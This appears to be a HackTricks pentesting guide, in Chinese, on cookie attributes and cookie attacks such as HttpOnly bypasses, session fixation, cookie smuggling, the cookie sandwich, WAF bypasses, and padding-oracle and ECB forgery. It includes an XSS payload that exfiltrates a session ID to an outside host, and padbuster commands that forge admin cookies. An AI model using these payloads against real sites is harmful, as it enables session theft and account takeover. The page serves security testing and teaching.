Cookies Hacking
Reading time: 21 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Cookie Attributes
Cookies 带有多个在用户浏览器中控制其行为的属性。下面以较为被动的语气对这些属性做一简要说明:
Expires and Max-Age
cookie 的过期时间由 Expires
属性决定。相反,Max-age
属性定义了在多少秒后 cookie 会被删除。建议使用 Max-age
,因为它更符合现代实践。
Domain
接收 cookie 的主机由 Domain
属性指定。默认情况下,这被设置为发出 cookie 的主机(不包括其子域)。但是,当显式设置 Domain
属性时,它也包含子域。指定 Domain
属性会降低限制性,适用于需要在子域之间共享 cookie 的场景。例如,设置 Domain=mozilla.org
会使 cookie 可以在其子域(如 developer.mozilla.org
)上访问。
Path
Path
属性表示请求的 URL 必须包含的特定路径,才会发送 Cookie
头。该属性将 /
字符视为目录分隔符,因此也允许在子目录中匹配。
Ordering Rules
当两个 cookie 具有相同名称时,选择发送的 cookie 基于:
- 匹配请求 URL 中最长路径的 cookie。
- 如果路径相同,则选择最近设置的 cookie。
SameSite
SameSite
属性决定了是否在来自第三方域的请求上发送 cookie。它提供三种设置:- Strict:禁止在第三方请求中发送 cookie。
- Lax:允许在第三方网站发起的 GET 请求中发送 cookie。
- None:允许从任何第三方域发送 cookie。
在配置 cookie 时,理解这些属性可以帮助确保它们在不同场景下按预期工作。
Request Type | Example Code | Cookies Sent When |
---|---|---|
Link | <a href="..."></a> | NotSet*, Lax, None |
Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
Form POST | <form method="POST" action="..."> | NotSet*, None |
iframe | <iframe src="..."></iframe> | NotSet*, None |
AJAX | $.get("...") | NotSet*, None |
Image | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
带有 SameSite 属性的 cookie 将减轻需要登录会话的 CSRF 攻击。
*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
请注意,在应用此更改后,临时情况下 Chrome 对于不带 SameSite 策略的 cookies 会在前两分钟内被视为 None,然后在顶层跨站 POST 请求中被视为 Lax。
Cookies Flags
HttpOnly
该属性阻止 客户端 访问 cookie(例如通过 Javascript:document.cookie
)
Bypasses
- 如果页面将 cookies 作为请求的响应发送(例如在 PHPinfo 页面),可以滥用 XSS 向该页面发送请求并从响应中窃取 cookie(示例见 https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)。
- 这可以通过 TRACE HTTP 请求被绕过,因为服务器的响应(如果允许该 HTTP 方法)会反射发送的 cookies。该技术称为 Cross-Site Tracking。
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在某些特定软件中仍发现了绕过方法,例如向 IE6.0 SP2 发送
\r\nTRACE
而不是TRACE
。 - 另一种方法是利用浏览器的 zero/day 漏洞。
- 可以通过执行 Cookie Jar overflow 攻击来覆盖 HttpOnly cookies:
- 可以使用 Cookie Smuggling 攻击来外传这些 cookies
- 如果任何服务器端端点在 HTTP 响应中回显原始 session ID(例如,在 HTML 注释或调试块中),则可以通过使用 XSS gadget 获取该端点、用正则提取 secret 并外传来绕过 HttpOnly。示例 XSS payload 模式:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
请求只有在通过安全通道(通常为 HTTPS)传输时,才会在 HTTP 请求中发送该 cookie。
Cookies Prefixes
以 __Secure-
为前缀的 cookies 要求在 HTTPS 保护的页面上与 secure
标志一并设置。
对于以 __Host-
为前缀的 cookies,需要满足以下条件:
- 必须设置
secure
标志。 - 必须来源于通过 HTTPS 保护的页面。
- 禁止指定 domain,从而防止它们被发送到子域。
- 这些 cookies 的 path 必须设为
/
。
需要注意的是,以 __Host-
为前缀的 cookies 不允许被发送到 superdomains 或子域。此限制有助于隔离应用的 cookies。因此,为所有应用 cookie 使用 __Host-
前缀可视为增强安全性和隔离性的良好做法。
Overwriting cookies
因此,__Host-
前缀的 cookies 的一个保护措施就是防止它们被子域覆盖。例如可以防止 Cookie Tossing attacks。在演讲 Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper)中展示了可以通过欺骗解析器从子域设置 __HOST- 前缀的 cookies,例如在开头或开头和结尾添加 "=" ……:
 (1) (1) (1) (1).png)
或者在 PHP 中可以在 cookie 名称开头添加其他字符,这些字符会被替换为下划线,从而允许覆盖 __HOST-
cookies:
 (1) (1) (1) (1).png)
Cookies Attacks
如果自定义 cookie 包含敏感数据,请检查它(特别是在做 CTF 时),因为它可能存在漏洞。
Decoding and Manipulating Cookies
应始终审查嵌入在 cookies 中的敏感数据。以 Base64 或类似格式编码的 cookies 通常可以被解码。该漏洞允许攻击者修改 cookie 的内容并通过将修改后的数据重新编码回 cookie 来冒充其他用户。
Session Hijacking
该攻击涉及窃取用户的 cookie 以获取对其在应用中帐户的未经授权访问。利用被窃取的 cookie,攻击者可以冒充合法用户。
Session Fixation
在这种情形下,攻击者诱使受害者使用特定的 cookie 登录。如果应用在登录后未分配新的 cookie,攻击者持有原始 cookie 后即可冒充受害者。该技术依赖于受害者使用攻击者提供的 cookie 登录。
如果你在子域中发现了 XSS 或你 控制一个子域,请阅读:
Session Donation
在这里,攻击者说服受害者使用攻击者的 session cookie。受害者认为自己登录的是自己的账户,因此会在攻击者账户的上下文中无意中执行操作。
如果你在子域中发现了 XSS 或你 控制一个子域,请阅读:
JWT Cookies
点击上面的链接以访问解释 JWT 可能存在缺陷的页面。
JSON Web Tokens (JWT) 用在 cookies 中也可能存在漏洞。有关潜在缺陷及如何利用它们的深入信息,建议访问链接的 hacking JWT 文档。
Cross-Site Request Forgery (CSRF)
该攻击强迫已登录的用户在其当前已认证的 web 应用上执行不想要的操作。攻击者可以利用会随对易受攻击站点的每个请求自动发送的 cookies。
Empty Cookies
(详见original research)浏览器允许创建没有名称的 cookie,下面可以通过 JavaScript 演示:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
发送的 cookie header 中的结果是 a=v1; test value; b=v2;
。有趣的是,如果设置了一个空名称的 cookie,这可以用于操纵 cookies,可能通过将该空 cookie 设置为特定值来控制其他 cookies:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
这会导致浏览器发送一个 cookie header,被每个 web server 解释为名为 a
、值为 b
的 cookie。
Chrome Bug: Unicode Surrogate Codepoint 问题
在 Chrome 中,如果一个 Unicode surrogate codepoint 是 set cookie 的一部分,document.cookie
会被破坏,随后返回空字符串:
document.cookie = "\ud800=meep"
这会导致 document.cookie
输出空字符串,表示永久损坏。
Cookie Smuggling Due to Parsing Issues
(Check further details in theoriginal research) 多个 web 服务器,包括来自 Java (Jetty, TomCat, Undertow) 和 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) 的服务器,因对 RFC2965 的过时支持而错误处理 cookie 字符串。它们会将双引号包裹的 cookie 值读取为单个值,即使该值包含分号(;),而分号通常应分隔键值对:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie 注入漏洞
(Check further details in theoriginal research) 服务器对 cookies 的错误解析,尤其是 Undertow、Zope 以及使用 Python 的 http.cookie.SimpleCookie
和 http.cookie.BaseCookie
的实现,造成了 cookie 注入攻击的机会。这些服务器未能正确界定新 cookie 的起始位置,允许攻击者伪造 cookies:
- Undertow 在带引号的值之后如果没有分号,会期望紧接着是一个新的 cookie。
- Zope 寻找逗号来开始解析下一个 cookie。
- Python 的 cookie 类在遇到空格字符时开始解析。
该漏洞在依赖 cookie-based CSRF protection 的 web 应用中特别危险,因为它允许攻击者注入伪造的 CSRF-token cookies,从而可能绕过安全措施。Python 对重复 cookie 名称的处理(最后出现的覆盖先前的)使问题更加严重。它也对不安全上下文中的 __Secure-
和 __Host-
cookies 提出担忧,并且当 cookies 被传递给易受伪造的后端服务器时,可能导致授权绕过。
Cookies $version
WAF 绕过
According to this blogpost, 可能可以利用 cookie 属性 $Version=1
使后端因遵循 RFC2109 而使用旧逻辑解析 cookie。此外,像 $Domain
和 $Path
这样的其它值也可用于通过 cookie 修改后端的行为。
Cookie Sandwich Attack
According to this blogpost 可以使用 cookie sandwich 技术来窃取 HttpOnly cookies。以下是要求和步骤:
- 找到一个位置,明显无用的 cookie 在响应中被反射
- 创建一个名为
$Version
的 cookie,值为1
(可以在 XSS 攻击中用 JS 设置),并使用更具体的 path 以使其处于初始位置(某些框架如 python 不需要此步骤) - 创建被反射的 cookie,其值留下一个 未闭合的双引号,并使用特定的 path,使其在 cookie db 中位于前一个(
$Version
)之后 - 然后,合法的 cookie 会在顺序中紧随其后
- 创建一个在其值中关闭双引号的伪造 cookie
这样受害者的 cookie 会被困在新的 cookie version 1 内部,并且每次被反射时都会被包含反射。e.g. from the post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
查看前一节。
Bypassing value analysis with quoted-string encoding
这种解析会对 cookie 中的转义值进行反转义,因此 "\a" 会变成 "a"。这可以用来绕过 WAFS,例如:
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
在 RFC2109 中指出,逗号可用作 cookie 值之间的分隔符。并且也可以在等号的前后添加 空格和制表符。因此像 $Version=1; foo=bar, abc = qux
这样的 cookie 并不会生成 cookie "foo":"bar, admin = qux"
,而是生成 foo":"bar"
和 "admin":"qux"
两个 cookie。注意这是如何生成 2 个 cookie,以及 admin 的等号前后空格被移除了。
Bypassing value analysis with cookie splitting
最后,不同的 backdoors 会将通过不同 cookie headers 传递的不同 cookies 在一个字符串中连接起来,比如:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
这可能允许 bypass WAF,如下例所示:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
额外易受攻击的 Cookies 检查
Basic checks
- 每次 login 时,cookie 都是相同的。
- Log out 并尝试使用相同的 cookie。
- 尝试在两台设备(或两个浏览器)上使用相同的 cookie 登录同一个账号。
- 检查 cookie 中是否包含任何信息,并尝试修改它
- 尝试创建多个用户名几乎相同的账号,检查是否能发现相似性。
- 如果存在,检查 "remember me" 选项以了解其工作方式。如果存在且可能存在漏洞,始终仅使用 remember me 的 cookie,而不要使用其他 cookie。
- 更改密码后,检查之前的 cookie 是否仍然有效。
Advanced cookies attacks
如果在 login 时 cookie 保持相同(或几乎相同),这可能意味着 cookie 与你账号的某个字段有关(很可能是用户名)。那么你可以:
- 尝试创建大量用户名非常 similar 的账号,尝试 guess 算法如何工作。
- 尝试 bruteforce the username。如果 cookie 仅作为你用户名的认证方法保存,那么你可以创建用户名为 "Bmin" 的账号,并对 cookie 的每一位 bruteforce,因为你尝试的某个 cookie 将属于 "admin"。
- 尝试 Padding Oracle(你可以解密 cookie 的内容)。使用 padbuster。
Padding Oracle - Padbuster examples
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster 将进行多次尝试,并会询问哪个条件是错误条件(即不合法的那个)。
然后它会开始 decrypting the cookie(可能需要几分钟)
如果攻击已成功执行,那么你可以尝试对你选择的字符串进行 encrypt。例如,如果你想 encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
此操作会生成一个正确加密并编码的 cookie,内部包含字符串 user=administrator。
CBC-MAC
可能 cookie 的某个值会使用 CBC 进行签名。然后,该值的完整性就是使用相同值通过 CBC 创建的签名。由于通常建议将 IV 设为全零向量,这种完整性校验可能存在漏洞。
攻击
- 获取用户名 administ 的签名 = t
- 获取用户名 rator\x00\x00\x00 XOR t 的签名 = t'
- 在 cookie 中设置值 administrator+t'(t' 将是 (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 的有效签名)
ECB
如果 cookie 使用 ECB 加密,则可能存在漏洞。
登录时你收到的 cookie 应该始终相同。
检测与攻击方法:
创建两个几乎相同的数据的用户(username、password、email 等),并尝试在给定的 cookie 中发现某些模式
创建一个用户,例如 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",并检查 cookie 中是否存在任何模式(由于 ECB 使用相同密钥对每个 block 进行加密,如果 username 被加密,相同的加密字节可能会出现)。
应该会出现一个模式(与所用 block 的大小一致)。所以,知道一串 "a" 是如何被加密后,你可以创建一个用户名: "a"*(size of the block)+"admin"。然后,你可以从 cookie 中删除一个 "a" 块的加密模式。这样你就会得到用户名为 "admin" 的 cookie。
参考资料
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。